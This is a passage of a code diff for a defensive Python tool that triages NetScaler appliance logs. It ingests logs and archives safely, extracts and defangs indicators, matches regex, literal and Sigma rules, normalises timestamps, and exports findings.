stats["read_errors"]
or stats["decoding_errors"]
or stats["matching_errors"]
or inventory_errors
or correlation["incomplete"]
)
else "complete",
"tool_version": __version__,
"python": platform.python_version(),
"created_utc": datetime.now(UTC).isoformat(),
"duration_seconds": round(time.perf_counter() - start, 3),
"counts": dict(stats),
"kinds": dict(kinds),
"warnings": dict(warnings),
"files": len(before),
"input_bytes": sum(f["size"] for f in before),
"integrity": "not_fully_verified" if inventory_errors else "unchanged",
"resources": {
"scan_workers": 1,
"sqlite_cache_kib": 8192,
"sqlite_temporary_storage": "disk",
"decode_cache_entries": 128,
"decode_cache_max_candidate_characters": 4096,
},
"correlation": correlation,
}
dump(output / "summary.json", summary)
dump(
output / "coverage.json",
[{"appliance": a, "source": s, **dict(c)} for (a, s), c in sorted(coverage.items())],
)
# Assessment reports are written separately from the extracted data.
return summary
except (Exception, KeyboardInterrupt) as exc:
with suppress(sqlite3.Error):
db.commit()
with suppress(OSError):
dump(
output / "summary.json",
{
"status": "failed",
"error_type": type(exc).__name__,
"counts": dict(stats),
"integrity": "not_verified",
},
)
raise
finally:
db.close()
def export(db: sqlite3.Connection, output: Path) -> None:
with (
(output / "findings.jsonl").open("w", encoding="utf-8") as findings,
(output / "updates.jsonl").open("w", encoding="utf-8") as updates,
):
for event_id, data in db.execute("SELECT id,data FROM events ORDER BY id"):
event = json.loads(data)
event["id"] = event_id
line = json.dumps(event, ensure_ascii=False) + "\n"
findings.write(line)
if event["categories"]:
updates.write(line)
with (output / "IOCS.csv").open("w", newline="", encoding="utf-8") as handle:
writer = csv.writer(handle)
writer.writerow(["type", "value", "defanged", "event_count", "first_event", "status"])
labels: dict[str, set[str]] = {}
for value, status in db.execute("SELECT DISTINCT value,status FROM indicator_hits"):
labels.setdefault(value, set()).add(status)
for row in db.execute("SELECT * FROM iocs ORDER BY type,value"):
statuses = labels.get(row[1], set())
status = (
"authorized_test"
if "authorized_test" in statuses
else (
"context_only"
if "context_only" in statuses
else ";".join(sorted(statuses)) or "observed_candidate"
)
)
writer.writerow([*row, status])
with (output / "indicator_hits.csv").open("w", newline="", encoding="utf-8") as handle:
writer = csv.writer(handle)
writer.writerow(["event_id", "type", "value", "status"])
writer.writerows(
db.execute("SELECT DISTINCT * FROM indicator_hits ORDER BY event_id,type,value")
)
cursor = db.execute("SELECT * FROM correlations")
columns = [column[0] for column in cursor.description]
with (output / "correlations.jsonl").open("w", encoding="utf-8") as handle:
for row in cursor:
handle.write(
json.dumps(dict(zip(columns, row, strict=True)), ensure_ascii=False) + "\n"
)
+94
View File
@@ -0,0 +1,94 @@
"""Extract observables, not verdicts. Original values remain suitable for exact matching."""
import ipaddress
import re
from typing import Any
from urllib.parse import urlsplit
def defang(value: str, indicator_type: str) -> str:
if indicator_type in {"url", "domain", "ipv4", "ipv6", "ip"}:
value = re.sub(r"^https:", "hxxps:", value, flags=re.I)
value = re.sub(r"^http:", "hxxp:", value, flags=re.I)
value = value.replace(".", "[.]").replace(":", "[:]")
return value
def extract_indicators(text: str) -> list[dict[str, Any]]:
if len(text) > 16777216:
raise ValueError("indicator input exceeds 16 MiB; process log lines individually")
found: dict[tuple[str, str], dict[str, Any]] = {}
def add(kind: str, value: str, role: str = "observable", start: int | None = None) -> None:
key = (kind, value)
if key not in found:
found[key] = dict(
type=kind,
value=value,
defanged=defang(value, kind),
role=role,
observation="Text occurrence; not evidence of a connection or execution.",
start=start,
)
urls = list(re.finditer(r"\bhttps?://[^\s<>\"'`]+", text, re.I))
for match in urls:
value = match.group().rstrip("),;}")
add("url", value, "url_in_text", match.start())
try:
hostname = urlsplit(value).hostname
if hostname:
try:
parsed = ipaddress.ip_address(hostname)
add(
"ipv4" if parsed.version == 4 else "ipv6",
hostname,
"url_host",
match.start(),
)
except ValueError:
if "." in hostname and re.fullmatch(r"[A-Za-z0-9.-]+", hostname):
add("domain", hostname, "url_host", match.start())
except ValueError:
pass
for match in re.finditer(
r"(?<![\w.])(?:[0-9]{1,3}\.){3}[0-9]{1,3}(?![\w.])|(?<![\w:])(?:[A-Fa-f0-9]{0,4}:){2,}[A-Fa-f0-9:.]*(?![\w:])",
text,
):
value = match.group()
try:
parsed = ipaddress.ip_address(value)
add("ipv4" if parsed.version == 4 else "ipv6", value, "address_in_text", match.start())
except ValueError:
continue
for match in re.finditer(
r"(?<![A-Za-z0-9])(?:[a-fA-F0-9]{64}|[a-fA-F0-9]{40}|[a-fA-F0-9]{32})(?![A-Za-z0-9])", text
):
value = match.group()
add(
{32: "md5", 40: "sha1", 64: "sha256"}[len(value)],
value,
"hash_shaped_text",
match.start(),
)
# Domain-shaped filenames are ambiguous: require URL, DNS/Host context or an email address.
domain_pattern = r"(?:[A-Za-z0-9](?:[A-Za-z0-9-]{0,61}[A-Za-z0-9])?\.)+[A-Za-z]{2,63}"
for match in re.finditer(
r"(?:\b(?:host|hostname|dns|domain|server_name)\s*[:=]\s*|@)("
+ domain_pattern
+ r")(?![\w.-])",
text,
re.I,
):
add("domain", match.group(1), "named_host_in_text", match.start(1))
url_index = 0
for match in re.finditer(r"(?<![\w/:])/(?!/)[^\s\"'`<>|;{}()]+", text):
while url_index < len(urls) and urls[url_index].end() <= match.start():
url_index += 1
if (
url_index < len(urls)
and urls[url_index].start() <= match.start() < urls[url_index].end()
):
continue
add("path", match.group(), "path_in_text", match.start())
return list(found.values())
+392
View File
@@ -0,0 +1,392 @@
"""Read-only log ingestion and bounded, non-overwriting archive extraction."""
from __future__ import annotations
import gzip
import hashlib
import io
import os
import re
import shutil
import stat
import tarfile
import zipfile
import zlib
from collections.abc import Buffer, Iterator
from pathlib import Path, PurePosixPath
from typing import NotRequired, TypedDict
from py7zr.io import Py7zIO
class InventoryEntry(TypedDict):
source: str
size: int
sha256: str | None
error: NotRequired[str]
class ArchiveProvenance(TypedDict):
archive: str
sha256: str
depth: int
class ArchiveEntry(InventoryEntry):
archives: list[ArchiveProvenance]
class RecordSource(TypedDict):
appliance: str
source: str
class LogRecord(RecordSource):
line: int
raw: str
warnings: list[str]
error: NotRequired[str]
class InputError(ValueError):
pass
class ArchiveError(InputError):
"""Unreadable archive or unavailable password; safe to skip this input unit."""
def _files(root: Path) -> Iterator[tuple[Path, OSError | None]]:
root = Path(root)
if root.is_symlink() or not root.is_dir():
raise InputError("Input must be a real directory")
walk_errors: list[OSError] = []
for directory, dirs, files in os.walk(root, followlinks=False, onerror=walk_errors.append):
while walk_errors:
error = walk_errors.pop(0)
yield Path(error.filename) if error.filename else root, error
for name in sorted(dirs + files):
if (Path(directory) / name).is_symlink():
raise InputError("Symbolic link found in input")
dirs.sort()
for name in sorted(files):
path = Path(directory) / name
try:
mode = path.stat().st_mode
except OSError as exc:
yield path, exc
continue
if not stat.S_ISREG(mode):
raise InputError("Not a regular file")
yield path, None
for error in walk_errors:
yield Path(error.filename) if error.filename else root, error
def inventory(root: Path) -> list[InventoryEntry]:
root = Path(root)
result: list[InventoryEntry] = []
for path, error in _files(root):
row: InventoryEntry = {
"source": path.relative_to(root).as_posix(),
"size": 0,
"sha256": None,
}
try:
if error:
raise error
row["size"] = path.stat().st_size
with path.open("rb") as handle:
row["sha256"] = hashlib.file_digest(handle, "sha256").hexdigest()
except OSError as exc:
row["error"] = type(exc).__name__
result.append(row)
return result
def iter_records(
root: Path, appliance: str, max_line_bytes: int = 1048576, max_file_bytes: int = 536870912
) -> Iterator[LogRecord]:
"""Yield lines, including explicit error records; limits count expanded bytes."""
if min(max_line_bytes, max_file_bytes) < 1:
raise ValueError("Invalid read limit")
root = Path(root)
for path, error in _files(root):
base: RecordSource = {"appliance": appliance, "source": path.relative_to(root).as_posix()}
number = 0
try:
if error:
raise error
with path.open("rb") as original:
magic = original.read(8)
original.seek(0)
if magic.startswith(
(b"7z\xbc\xaf\x27\x1c", b"PK\x03\x04", b"\x7fELF")
) or path.name.lower().endswith((".tar", ".tgz", ".tar.gz", ".zip", ".7z")):
yield {
**base,
"line": 0,
"raw": "",
"error": "UnsupportedInput",
"warnings": ["Archive or binary file; not processed as text"],
}
continue
handle = (
gzip.GzipFile(fileobj=original) if magic.startswith(b"\x1f\x8b") else original
)
try:
total = 0
while True:
chunk = handle.readline(min(max_line_bytes + 1, max_file_bytes - total + 1))
if not chunk:
break
number += 1
total += len(chunk)
if b"\x00" in chunk:
raise InputError("Binary data encountered; text processing stopped")
if len(chunk) > max_line_bytes or total > max_file_bytes:
raise InputError(
"Line or file size limit exceeded; processing stopped for this file"
)
warnings = []
try:
raw = chunk.decode("utf-8")
except UnicodeDecodeError:
raw = chunk.decode("utf-8", errors="replace")
warnings.append(
"Invalid UTF-8; unmodified original bytes remain in the source file"
)
yield {
"appliance": appliance,
"source": base["source"],
"line": number,
"raw": raw.rstrip("\r\n"),
"warnings": warnings,
}
finally:
if handle is not original:
handle.close()
except (OSError, EOFError, InputError, zlib.error) as exc:
yield {
**base,
"line": number,
"raw": "",
"error": type(exc).__name__,
"warnings": [
str(exc)
if isinstance(exc, InputError)
else "Read error; file processing is incomplete"
],
}
def _member(name: str) -> Path:
if not name or "\x00" in name or "\\" in name or re.match(r"^[A-Za-z]:", name):
raise InputError("Unsafe archive path")
p = PurePosixPath(name)
if p.is_absolute() or ".." in p.parts or ":" in name:
raise InputError("Unsafe archive path")
if not p.parts or any(part in {"", "."} for part in name.rstrip("/").split("/")):
raise InputError("Ambiguous archive path")
if any(
part.endswith((".", " "))
or re.fullmatch(r"(?i)(?:con|prn|aux|nul|com[1-9]|lpt[1-9])(?:\..*)?", part)
for part in p.parts
):
raise InputError("Non-portable reserved archive path")
return Path(*p.parts)
def extract_archive(
source: Path,
destination: Path,
max_bytes: int = 2147483648,
max_files: int = 100000,
max_depth: int = 3,
*,
password: str | None = None,
) -> list[ArchiveEntry]:
"""Extract 7z/ZIP/TAR recursively; gzip logs remain intact. Destination must be new.
Quotas apply across all nested archives and to bytes actually written. On error
only the newly created destination is removed. Returned inventory is relative.
The optional password also applies to nested archives, is never returned,
and is encoded as UTF-8 for ZIP encryption. ZIP supports ZipCrypto and AES.
"""
source, destination = Path(source), Path(destination)
if (
source.is_symlink()
or not source.is_file()
or min(max_bytes, max_files) < 1
or max_depth < 0
):
raise InputError("Invalid archive input or limits")
if any(p.is_symlink() for p in (destination, *destination.parents)):
raise InputError("Destination contains a symbolic link")
destination.mkdir(parents=False, exist_ok=False)
budget = {"bytes": 0, "files": 0, "entries": 0}
provenance: list[ArchiveProvenance] = []
class Sink(io.BufferedIOBase, Py7zIO):
def __init__(self, path: Path) -> None:
path.parent.mkdir(parents=True, exist_ok=True)
self.handle = path.open("x+b")
self.length = 0
budget["files"] += 1
if budget["files"] > max_files:
self.handle.close()
raise InputError("File count limit exceeded")
def write(self, data: Buffer) -> int:
if self.handle.tell() != self.length:
raise InputError("Archive requests overwriting previously extracted data")
budget["bytes"] += memoryview(data).nbytes
if budget["bytes"] > max_bytes:
raise InputError("Extraction size limit exceeded")
written = self.handle.write(data)
self.length += written
return written
def read(self, size: int | None = None) -> bytes:
return self.handle.read(65536 if size is None or size < 0 else min(size, 65536))
def seek(self, offset: int, whence: int = 0) -> int:
target = offset + (
self.handle.tell() if whence == 1 else self.length if whence == 2 else 0
)
if whence not in (0, 1, 2) or not 0 <= target <= self.length:
raise InputError("Archive requests an invalid write offset")
return self.handle.seek(target)
def flush(self) -> None:
if not self.handle.closed:
self.handle.flush()
def size(self) -> int:
return self.length
def close(self) -> None:
self.handle.close()
def unpack(archive: Path, folder: Path, depth: int) -> None:
if depth > max_depth:
raise InputError("Archive nesting depth exceeded")
with archive.open("rb") as handle:
archive_hash = hashlib.file_digest(handle, "sha256").hexdigest()
provenance.append(
{
"archive": source.name
if archive == source
else archive.relative_to(destination).as_posix(),
"sha256": archive_hash,
"depth": depth,
}
)
written: list[Path] = []
def target(name: str, is_dir: bool = False) -> Path:
path = folder / _member(name)
if is_dir:
path.mkdir(parents=True, exist_ok=True)
else:
written.append(path)
return path
if zipfile.is_zipfile(archive):
with zipfile.ZipFile(archive) as probe:
aes = any(info.compress_type == 99 for info in probe.infolist())
zip_class: type[zipfile.ZipFile] | type[pyzipper.AESZipFile] = zipfile.ZipFile
if aes:
import pyzipper
zip_class = pyzipper.AESZipFile
with zip_class(archive) as z:
members = z.infolist()
budget["entries"] += len(members)
if budget["entries"] > max_files:
raise InputError("Too many archive entries")
for info in members:
mode = info.external_attr >> 16
if stat.S_ISLNK(mode) or (
stat.S_IFMT(mode) and not (stat.S_ISREG(mode) or stat.S_ISDIR(mode))
):
raise InputError("Link or special file found in archive")
path = target(info.filename, info.is_dir())
if not info.is_dir():
with (
z.open(
info, pwd=password.encode("utf-8") if password is not None else None
) as src,
Sink(path) as dst,
):
shutil.copyfileobj(src, dst, 65536)
elif archive.suffix.lower() == ".7z":
import py7zr
from py7zr.io import WriterFactory
sinks: list[Sink] = []
class Factory(WriterFactory):
def create(self, filename: str) -> Py7zIO:
sink = Sink(target(filename))
sinks.append(sink)
return sink
try:
# File objects make py7zr extraction sequential, keeping global quotas atomic.
with (
archive.open("rb") as archive_stream,
py7zr.SevenZipFile(archive_stream, "r", password=password) as z,
):
budget["entries"] += len(z.files)
if budget["entries"] > max_files:
raise InputError("Too many archive entries")
for item in z.files:
_member(item.filename)
if (
item.is_symlink
or getattr(item, "is_junction", False)
or getattr(item, "is_socket", False)
):
raise InputError("Link or special file found in archive")
if item.is_directory:
target(item.filename, True)
z.extractall(factory=Factory())
finally:
for sink in sinks:
sink.close()
elif tarfile.is_tarfile(archive):
with tarfile.open(archive) as tar_archive:
for tar_info in tar_archive:
budget["entries"] += 1
if budget["entries"] > max_files or not (tar_info.isdir() or tar_info.isfile()):
raise InputError("Unsupported TAR entry")
path = target(tar_info.name, tar_info.isdir())
if tar_info.isfile():
member_stream = tar_archive.extractfile(tar_info)
if member_stream is None:
raise ArchiveError("TAR file contents unavailable")
with member_stream as tar_source, Sink(path) as dst:
shutil.copyfileobj(tar_source, dst, 65536)
else:
raise ArchiveError("Unknown or damaged archive format")
for path in written:
if path.name.lower().endswith((".7z", ".zip", ".tar", ".tar.gz", ".tgz")):
nested = path.with_name(path.name + ".extracted")
nested.mkdir(exist_ok=False)
unpack(path, nested, depth + 1)
try:
unpack(source, destination, 0)
items = inventory(destination)
if any(item.get("error") for item in items):
raise InputError("Extracted evidence could not be fully verified")
return [{**item, "archives": provenance} for item in items]
except BaseException as exc:
shutil.rmtree(destination)
if isinstance(exc, Exception) and not isinstance(exc, InputError):
raise ArchiveError(
"Archive extraction failed: missing or incorrect password, damaged archive, "
"or unsupported encryption"
) from None
raise
+254
View File
@@ -0,0 +1,254 @@
"""Configurable, bounded regular-expression and literal matching."""
from __future__ import annotations
import ipaddress
import json
import math
from collections.abc import Mapping, Sequence
from importlib.resources import files
from typing import Any
from urllib.parse import urlsplit
import regex
from .config_loading import load_config as load_config
from .sigma_rules import SigmaMatcher
def public_config() -> dict[str, Any]:
"""Load bundled public references offline, including their source metadata."""
resource = files("netscaler_triage").joinpath("data", "threat_intel.json")
data = json.loads(resource.read_text(encoding="utf-8"))
if not isinstance(data, dict):
raise ValueError("Bundled public configuration must be an object")
return data
def _literal_matches(text: str, start: int, value: str, kind: str) -> bool:
end = start + len(value)
before = text[start - 1 : start] if start else ""
after = text[end : end + 1]
actual = text[start:end]
if kind in {"ip", "ipv4", "ipv6"}:
forbidden = "0123456789." if ":" not in value else "0123456789abcdefABCDEF:."
return not any(c and (c.isalnum() or c in forbidden + "_") for c in (before, after))
if kind in {"sha256", "sha1", "md5"}:
return not any(c and (c.isalnum() or c == "_") for c in (before, after))
if kind == "domain":
return not (before and (before.isalnum() or before in "_-")) and not (
after and (after.isalnum() or after in "_.-")
)
if kind == "path":
if actual != value:
return False
# A root-relative artifact also occurs after the authority in a full URL.
if (
before
and (before.isalnum() or before in "_.-" or (before == "/" and value.startswith("/")))
and (
not value.startswith("/")
or not regex.search(
r"https?://[^/\s]+$", text[max(0, start - 4096) : start], regex.I
)
)
):
return False
return value.endswith("/") or not (after and (after.isalnum() or after in "_.-/\\%+"))
if kind == "url":
expected, observed = urlsplit(value), urlsplit(actual)
if (expected.scheme.casefold(), expected.netloc.casefold()) != (
observed.scheme.casefold(),
observed.netloc.casefold(),
) or (expected.path, expected.query, expected.fragment) != (
observed.path,
observed.query,
observed.fragment,
):
return False
return not (before and (before.isalnum() or before in "_+.-")) and not (
after and (after.isalnum() or after in "_.-/%?&=+#")
)
return True
class Matcher:
"""Raise timeouts so callers can record incomplete matching explicitly."""
def __init__(
self, configs: list[dict[str, Any]], timeout: float = 0.05, defaults: bool = True
) -> None:
if not math.isfinite(timeout) or timeout <= 0:
raise ValueError("Regex timeout must be positive")
self.timeout = timeout
patterns: list[dict[str, Any]] = []
self.indicators: list[dict[str, Any]] = []
self.sigma_matchers: list[SigmaMatcher] = []
self.configs = list(configs)
if defaults:
public = public_config()
rules = files("netscaler_triage").joinpath("data", "public_sigma.yml").read_text()
self.configs = [
{
**public,
"patterns": [],
"sigma_rules": [{"source": "public_sigma.yml", "yaml": rules}],
}
] + [config for config in configs if config != public]
identifiers: set[str] = set()
for config in self.configs:
for section in ("patterns", "indicators", "sigma_rules"):
rows = config.get(section, [])
if not isinstance(rows, list) or any(not isinstance(row, dict) for row in rows):
raise ValueError(f"Rule pack {section} must be a list of objects")
patterns.extend(config.get("patterns", []))
self.indicators.extend(config.get("indicators", []))
for pack in config.get("sigma_rules", []):
sigma_matcher = SigmaMatcher.from_yaml(
pack["yaml"], timeout=timeout, source=pack.get("source", "")
)
for rule in sigma_matcher.rules:
if rule.identifier in identifiers:
raise ValueError(
f"Duplicate rule identifier across packs: {rule.identifier}"
)
identifiers.add(rule.identifier)
self.sigma_matchers.append(sigma_matcher)
# Sigma catalog metadata must not bypass its detection conditions.
self.indicators = list(
{json.dumps(row, sort_keys=True): row for row in self.indicators}.values()
)
self.rules: list[tuple[str, regex.Pattern[str]]] = []
self.rule_metadata: list[list[dict[str, Any]]] = []
seen_rules: dict[tuple[str, str], int] = {}
def add_rule(name: str, pattern: str, row: dict[str, Any]) -> None:
identity = (name, pattern)
details: dict[str, Any] = {
"id": name,
"pattern": pattern,
**{
key: row[key]
for key in ("description", "source", "source_id", "sources")
if key in row
},
}
if identity not in seen_rules:
if name in identifiers:
raise ValueError(f"Conflicting rule identifier across packs: {name}")
seen_rules[identity] = len(self.rules)
self.rules.append((name, regex.compile(pattern)))
self.rule_metadata.append([])
metadata = self.rule_metadata[seen_rules[identity]]
if details not in metadata:
metadata.append(details)
for row in patterns:
pattern = row.get("pattern", row.get("regex"))
if not isinstance(pattern, str) or not pattern:
raise ValueError("Empty or invalid regex pattern")
add_rule(str(row.get("id", row.get("name", pattern))), pattern, row)
literal_groups: dict[str, list[dict[str, Any]]] = {}
for indicator in self.indicators:
value = indicator.get("value", "")
if not isinstance(value, str) or not value:
raise ValueError("Empty or invalid indicator")
kind = indicator.get("type", "literal")
if kind not in {
"ip",
"ipv4",
"ipv6",
"domain",
"url",
"path",
"sha256",
"sha1",
"md5",
"literal",
"regex",
}:
raise ValueError(f"Unsupported indicator type: {kind}")
if kind == "url":
parsed = urlsplit(value)
if not parsed.scheme or not parsed.netloc:
raise ValueError(f"Invalid URL indicator: {value}")
if kind in {"ip", "ipv4", "ipv6"}:
address = ipaddress.ip_address(value)
if kind != "ip" and kind != f"ipv{address.version}":
raise ValueError(f"Address family does not match indicator type: {value}")
if kind in {"sha256", "sha1", "md5"} and not regex.fullmatch(
rf"[0-9a-fA-F]{{{ {'sha256': 64, 'sha1': 40, 'md5': 32}[kind] }}}", value
):
raise ValueError(f"Invalid {kind} indicator: {value}")
if kind == "regex":
add_rule(value, value, indicator)
continue
literal_groups.setdefault(value.casefold(), []).append(indicator)
self.literal_groups = literal_groups
# Preserve shorter indicators at the same start as the longest regex alternative.
self.literal_prefixes: dict[str, tuple[str, ...]] = {}
parents: list[str] = []
for value in sorted(literal_groups):
while parents and not value.startswith(parents[-1]):
parents.pop()
parents.append(value)
self.literal_prefixes[value] = tuple(parents)
# One compiled alternation avoids one scan per IOC per log record.
self.literals = (
regex.compile(
"|".join(regex.escape(v) for v in sorted(literal_groups, key=len, reverse=True)),
regex.IGNORECASE,
)
if literal_groups
else None
)
def search(self, text: str) -> tuple[list[str], list[dict[str, Any]]]:
rules, hits, _ = self.search_with_details(text)
return rules, hits
def search_with_details(
self,
text: str,
*,
event: Mapping[str, Any] | None = None,
include_sigma: bool = True,
) -> tuple[list[str], list[dict[str, Any]], list[dict[str, Any]]]:
"""Return metadata only for regex rules that actually matched this text."""
details = [
detail.copy()
for (_, pattern), metadata in zip(self.rules, self.rule_metadata, strict=True)
if pattern.search(text, timeout=self.timeout)
for detail in metadata
]
rules = [row["id"] for row in details]
if include_sigma:
sigma_details = self.search_sigma(event if event is not None else {"raw": text})
details.extend(sigma_details)
rules.extend(str(row["id"]) for row in sigma_details)
hits: list[dict[str, Any]] = []
if self.literals:
for match in self.literals.finditer(text, timeout=self.timeout, overlapped=True):
for key in self.literal_prefixes.get(match.group().casefold(), ()):
hits.extend(
indicator
for indicator in self.literal_groups[key]
if _literal_matches(
text,
match.start(),
indicator["value"],
indicator.get("type", "literal"),
)
)
return list(dict.fromkeys(rules)), hits, details
def search_sigma(
self,
event: Mapping[str, Any],
decoded: Sequence[str] = (),
) -> list[dict[str, Any]]:
return [
hit
for matcher in self.sigma_matchers
for hit in matcher.search_with_details(event, decoded)
]
+197
View File
@@ -0,0 +1,197 @@
"""Conservative NetScaler log classification and explicitly sourced UTC times."""
from __future__ import annotations
import re
from collections.abc import Mapping
from datetime import UTC, datetime
from typing import Any
from zoneinfo import ZoneInfo
_ACCESS = re.compile(
r"^(?P<src>\S+)(?:\s+->\s+(?P<dest>\S+))? \S+ \S+ \[(?P<time>[^]]+)\]"
r'(?: \[\d+\])? "(?P<request>(?:\\.|[^"\\])*)" (?P<status>\d{3}) (?P<bytes>\d+|-)'
r'(?: "(?P<referer>(?:\\.|[^"\\])*)" "(?P<user_agent>(?:\\.|[^"\\])*)")?'
)
_SYSLOG = re.compile(
r"^(?P<time>[A-Z][a-z]{2}\s+\d{1,2} \d{2}:\d{2}:\d{2})\s+"
r"(?:<[^>]+>\s+)?(?P<host>\S+)\s+(?P<body>.*)"
)
_ISO = re.compile(r"\b\d{4}-\d{2}-\d{2}[T ]\d{2}:\d{2}:\d{2}(?:\.\d+)?(?:Z|[+-]\d{2}:?\d{2})?")
_GMT = re.compile(r"\b\d{2}/\d{2}/\d{4}:\d{2}:\d{2}:\d{2} GMT\b")
_FULL = re.compile(
r"\b(?:Mon|Tue|Wed|Thu|Fri|Sat|Sun)\s+[A-Z][a-z]{2}\s+\d{1,2}\s+\d{2}:\d{2}:\d{2}(?:\.\d+)?(?:\s+(?:UTC|GMT))?\s+\d{4}\b"
)
_VERSION = re.compile(
r"(?i)\b(?:NS|NetScaler\s+NS)?"
r"(?P<version>\d{1,2}\.\d{1,2}[- ](?:Build\s+)?\d+\.\d+(?:\.\d+)?)\b"
)
def parse_record(
record: Mapping[str, Any], timezone: str | None = None, year: int | None = None
) -> dict[str, Any]:
result: dict[str, Any] = {
**record,
"kind": "unknown",
"time_original": None,
"timestamp": None,
"time_basis": "unknown",
"fields": {},
"warnings": list(record.get("warnings", [])),
"categories": [],
}
text = record.get("raw", "")
fields = result["fields"]
for key, pattern in {
"source_ip": r"\b(?:Client_ip|Remote_ip|ClientIP)\s+([0-9a-fA-F:.]+)",
"request_id": r"(?i)\b(?:request[_ -]?id)\s*[:=]\s*([\w.-]+)",
"session_id": r"(?i)\b(?:session[-_ ]?id)\s*[:=]\s*([\w.-]+)",
"transaction_id": r'(?i)\b(?:trans(?:action)?[-_ ]?id)(?:\s*[:=]\s*|\s+)"?([\w.-]+)',
"context": r'(?i)\bcontext(?:\s*[:=]\s*|\s+)"?([^\s",;]+)',
"return_code": r'(?i)\breturn_code\s*[:=]\s*"?(-?\d+)',
"command_status": r'(?i)\bCMD_EXECUTED\b.*?\bStatus(?:\s*[:=]\s*|\s+)"?([^\s"]+)',
}.items():
found = re.search(pattern, text)
if found:
fields[key] = found[1]
timestamp = None
match = _ACCESS.match(text)
try:
if match:
result["kind"] = "http_access"
fields.update(
{k: v for k, v in match.groupdict().items() if k != "time" and v is not None}
)
pieces = fields["request"].split(" ", 2)
if len(pieces) == 3:
fields.update(zip(("method", "uri", "protocol"), pieces, strict=True))
fields["status"] = int(fields["status"])
result["time_original"] = match["time"]
timestamp = datetime.strptime(match["time"], "%d/%b/%Y:%H:%M:%S %z")
result["time_basis"] = "explicit_offset"
else:
syslog = _SYSLOG.match(text)
if syslog:
result["kind"] = "syslog"
fields["host"] = syslog["host"]
process = re.match(r"(?P<process>[\w.-]+)(?:\[(?P<pid>\d+)\])?:", syslog["body"])
if process:
fields.update({k: v for k, v in process.groupdict().items() if v})
if process["process"] in {"bash", "sh"}:
result["kind"] = "shell_log"
elif re.match(r"^\[[A-Z][a-z]{2} [A-Z][a-z]{2}\s+\d", text):
result["kind"] = "http_error"
client = re.search(r"\[client ([^]]+)\]", text)
if client:
fields["client"] = client[1]
# A date inside a request or shell payload is untrusted event content.
# Only use the leading timestamp or native NetScaler GMT envelope.
gmt = (
_GMT.search(text[:180])
if syslog and re.match(r"\d{2}/\d{2}/\d{4}:", syslog["body"])
else None
)
full = _FULL.search(text[:110]) if not syslog else None
iso = _ISO.match(text)
if gmt:
result["time_original"] = gmt[0]
timestamp = datetime.strptime(gmt[0], "%m/%d/%Y:%H:%M:%S GMT").replace(tzinfo=UTC)
result["time_basis"] = "explicit_GMT"
elif iso:
result["time_original"] = iso[0]
timestamp = datetime.fromisoformat(iso[0])
result["time_basis"] = "explicit_offset" if timestamp.tzinfo else "explicit_year"
if result["kind"] == "unknown":
result["kind"] = "timestamped"
elif full:
result["time_original"] = full[0]
clean = re.sub(r"\.\d+", "", full[0])
has_utc = bool(re.search(r"\b(?:UTC|GMT)\b", clean))
clean = re.sub(r"\s+(?:UTC|GMT)\b", "", clean)
timestamp = datetime.strptime(clean, "%a %b %d %H:%M:%S %Y")
if has_utc:
timestamp = timestamp.replace(tzinfo=UTC)
result["time_basis"] = "explicit_GMT" if has_utc else "explicit_year"
elif syslog:
result["time_original"] = syslog["time"]
if year is not None:
timestamp = datetime.strptime(f"{year} {syslog['time']}", "%Y %b %d %H:%M:%S")
result["time_basis"] = "configured_year"
result["warnings"].append(
"Year supplied by configuration; year rollover is not resolved "
"automatically"
)
else:
result["warnings"].append("Missing year; UTC timestamp not calculated")
if timestamp is not None and timestamp.tzinfo is None:
if timezone:
zone = ZoneInfo(timezone)
first, second = (
timestamp.replace(tzinfo=zone, fold=0),
timestamp.replace(tzinfo=zone, fold=1),
)
if first.utcoffset() != second.utcoffset():
result["warnings"].append(
"Ambiguous or nonexistent local time; UTC timestamp not calculated"
)
timestamp = None
else:
timestamp = first
result["time_basis"] += "+configured_timezone"
else:
result["warnings"].append("Missing time zone; UTC timestamp not calculated")
timestamp = None
if timestamp is not None:
result["timestamp"] = timestamp.astimezone(UTC).isoformat().replace("+00:00", "Z")
except ValueError, OverflowError:
result["warnings"].append("Invalid timestamp; UTC timestamp not calculated")
# HTTP content is never classified as an actual appliance update.
trusted_update_context = (
fields.get("process") in {"nssetup", "installns", "bash", "sh", "kernel", "init", "reboot"}
or text.startswith("COLLECTOR::")
or bool(re.match(r"NSVERSION\s*[:=]", text))
)
if result["kind"] not in {"http_access", "http_error"} and trusted_update_context:
patterns = {
"update": r"(?i)\b(?:installns|nssetup|firmware|upgrad(?:e|ing|ed))\b",
"upgrade": r"(?i)\b(?:upgrad(?:e|ing|ed)|installns)\b",
"boot": (
r"(?i)\b(?:rebooting|rebooted|restarting|system boot|kernel boot|"
r"last reboot|restart detected)\b"
),
"version": (
r"(?i)(?:NSVERSION|current version|previous version|old version|new version|"
r"successfully loaded configuration\(NS|NetScaler (?:NS|version)|from version NS)"
),
}
for category, pattern in patterns.items():
if re.search(pattern, text):
result["categories"].append(category)
if result["categories"]:
fields["versions"] = list(dict.fromkeys(m["version"] for m in _VERSION.finditer(text)))
for release, build in re.findall(r"(?i)\bNS(\d+\.\d+),?\s+build\s+(\d+\.\d+)", text):
version = release + "-" + build
if version not in fields["versions"]:
fields["versions"].append(version)
fields["builds"] = list(dict.fromkeys(re.findall(r"(?i)\bbuild\s+(\d+\.\d+)", text)))
if re.search(r"(?i)\bupgrade from\b", text):
fields["update_relation"] = "explicit_upgrade_from_to"
elif re.search(r"(?i)configuration file.*from version", text):
fields["update_relation"] = "previous_configuration_version"
elif re.search(r"(?i)this is NetScaler version", text):
fields["update_relation"] = "running_version"
fields["update_evidence"] = (
"installer_invocation"
if re.search(r"(?i)\binstallns\b", text)
else "boot_message"
if "boot" in result["categories"]
else "version_observation"
if "version" in result["categories"]
else "update_message"
)
result["warnings"].append(
"An update indicator alone does not establish that installation completed"
)
return result
+453
View File
@@ -0,0 +1,453 @@
"""Prepare mixed evidence inputs without modifying originals or scanning toolkit output."""
from __future__ import annotations
import gzip
import hashlib
import os
import re
import shutil
import tarfile
import zlib
from pathlib import Path
from typing import NotRequired, TypedDict
from .ingest import ArchiveError, InputError, extract_archive
class PreparationEntry(TypedDict):
source_index: int
source: str
action: str
reason: NotRequired[str]
error: NotRequired[str]
sha256: NotRequired[str | None]
size: NotRequired[int]
prepared: NotRequired[str]
appliance: NotRequired[str]
_TOOL_DIRS = {
".venv",
".runtime",
".git",
"__pycache__",
"src",
"netscaler_triage",
"tests",
"config",
"examples",
"dist",
"results",
}
_TOOL_FILES = {
"pyproject.toml",
"uv.lock",
".python-version",
".gitignore",
"requirements.txt",
"input_manifest.json",
"summary.json",
"coverage.json",
